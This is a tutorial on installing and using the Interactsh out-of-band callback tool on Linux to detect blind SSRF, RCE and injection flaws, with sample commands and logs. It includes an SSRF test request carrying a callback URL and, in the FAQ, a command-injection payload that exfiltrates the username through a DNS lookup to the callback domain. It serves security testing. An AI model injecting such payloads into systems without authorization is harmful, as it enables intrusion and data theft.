How to Install and Use Interactsh in Linux to Detect Out-of-Band Blind Vulnerabilities

In modern web application security testing, many of the most severe vulnerabilities—such as Server-Side Request Forgery (SSRF), Blind Remote Code Execution (RCE), Blind SQL Injection, and Log4j (JNDI) exploits—do not reflect any data back in the immediate HTTP response. When an application processes an injection payload asynchronously through a backend message queue or internal microservice, the web browser receives a standard 200 OK or 202 Accepted status. Discovering these flaws requires an Out-Of-Band (OOB) testing mechanism that generates unique listening domains and captures external callbacks triggered by the vulnerable server.

Interactsh, developed by ProjectDiscovery, is an open-source, full-featured out-of-band interaction gathering tool that allows security engineers to generate ephemeral callback domains and monitor real-time HTTP, DNS, SMTP, and LDAP interactions directly from the Linux terminal.

Core Architecture and Protocols

Interactsh functions via a client-server architecture utilizing end-to-end cryptographic encryption:

• End-to-End Encryption (E2EE): When the interactsh-client connects to an Interactsh server, it registers an ephemeral public key. All captured DNS, HTTP, and SMTP interaction logs stored on the server are encrypted using this key, ensuring the host server operator cannot read your test payloads.
• Multi-Protocol Listeners: Captures DNS queries (A, AAAA, TXT), HTTP/HTTPS requests, SMTP email delivery attempts, and LDAP/LDAPS handshakes.
• Wildcard Subdomain Tracking: Every client session generates a unique root domain (e.g., c1234abcd.oast.fun), allowing you to prepend arbitrary tracking markers (e.g., test1.c1234abcd.oast.fun) to identify exactly which input parameter triggered a callback.

Installing Interactsh Client on Linux

You can install the official interactsh-client binary directly from GitHub releases or compile via Go:

# Method 1: Official Pre-compiled Binary (Recommended)
curl -s https://api.github.com/repos/projectdiscovery/interactsh/releases/latest | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -qi -
tar -xvf interactsh-client_*_linux_amd64.tar.gz
sudo mv interactsh-client /usr/local/bin/
interactsh-client -version

# Method 2: Via Go (Requires Go 1.21+)
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

Starting an Interactive Listening Session

To start an active listening session using the official free community cloud servers:

interactsh-client

The terminal will display your unique registered interaction domain and begin polling for events:

[INF] Listing 1 payload for OOB Testing
[INF] c4982k1a01b2c3d4e5f0.oast.fun

[c4982k1a01b2c3d4e5f0.oast.fun] Listening for incoming interactions...

Copy this unique domain to insert into your testing payloads.

Testing for Blind Vulnerabilities

Inject your interaction domain into target parameters, headers, or webhooks:

1. Testing Blind Server-Side Request Forgery (SSRF)

Send a request to a suspected URL import feature or webhook endpoint:

curl -X POST "https://example.com/api/fetch"   -H "Content-Type: application/json"   -d '{"url": "http://ssrf-test.c4982k1a01b2c3d4e5f0.oast.fun"}'

2. Monitoring Captured Callbacks in Real Time

If the target server processes the URL and initiates an outbound connection, your interactsh-client terminal immediately alerts with rich forensic detail:

[c4982k1a01b2c3d4e5f0.oast.fun] Received DNS interaction (A) from 198.51.100.42 at 2026-10-17 04:30:12
[c4982k1a01b2c3d4e5f0.oast.fun] Received HTTP interaction (GET /) from 198.51.100.42
  Headers:
    User-Agent: Python-urllib/3.10
    Host: ssrf-test.c4982k1a01b2c3d4e5f0.oast.fun

The callback confirms that the target backend is vulnerable to out-of-band SSRF.

Essential Command Flags and JSON Export

The table below highlights common flags for automated scripting:

Flag	Functionality	Usage Example
-s <server>	Connect to a self-hosted Interactsh server	interactsh-client -s interact.mycorp.internal
-json	Outputs incoming events formatted as JSON	interactsh-client -json -o interactions.json
-n <count>	Generates n distinct payload domains	interactsh-client -n 5
-o <file>	Saves all captured interactions to text file	interactsh-client -o oob_log.txt

Frequently Asked Questions

Can Interactsh capture out-of-band DNS data exfiltration?

Yes. If you inject a command that prepends data to the hostname (e.g., ping $(whoami).c4982k1a...oast.fun), Interactsh captures the DNS query containing the exfiltrated user string in the subdomain label.

Can I host my own private Interactsh server?

Yes. ProjectDiscovery publishes the complete interactsh-server binary, allowing enterprise security teams to deploy private listening infrastructure within corporate AWS or DigitalOcean virtual machines.